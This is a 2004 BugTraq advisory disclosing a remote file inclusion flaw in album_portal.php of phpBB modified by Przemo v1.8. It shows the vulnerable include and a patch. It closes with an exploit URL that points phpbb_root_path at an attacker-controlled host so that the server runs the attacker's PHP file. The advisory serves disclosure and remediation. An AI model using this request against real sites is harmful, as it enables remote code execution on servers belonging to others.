phpBB modified by Przemo arbitary code execution

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To: BugTraq <bugtraq@securityfocus.com>
Date: Mon, 19 Apr 2004 19:50:42 +0200

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Product: phpBB modified by Przemo
Version: v1.8
Vendor: http://przemo.org/phpBB2/
Discover by: Officerrr  <officerrr at poligon.com.pl>
Vendor Response: Not contacted yet...
Severity: Medium (arbitary code execution as webserver user)
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Description:

This modification is based on phpBB 2.0.X script, it contains about
200 add-ons, with ability to switch off any of them in admin`s panel.
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Vulnerable code:
File: album_portal.php

[code]
$album_root_path = $phpbb_root_path . 'album_mod/';
include($album_root_path . 'album_common.'.$phpEx);
[/code]
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Fix:

Change the following lines in album_portal.php file

[code]
$album_root_path = $phpbb_root_path . 'album_mod/';
include($album_root_path . 'album_common.'.$phpEx);
[/code]

to

[code]
define('IN_PHPBB', true);
$phpbb_root_path = './';
$album_root_path = $phpbb_root_path . 'album_mod/';
include($phpbb_root_path . 'extension.inc');
include($album_root_path . 'album_common.'.$phpEx);
[/code]
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Exploit:
http://[victim_host]/album_portal.php?phpbb_root_path=http://[evil_host]/&phpEx=/../../[evil_file.php]

evil_file.php must exist on the evil_host.

- --
Dariusz 'Officerrr' Kolasinski
<Linux Administrator> <gg: 516354>
"Living on a razors edge, Balancing on a ledge"

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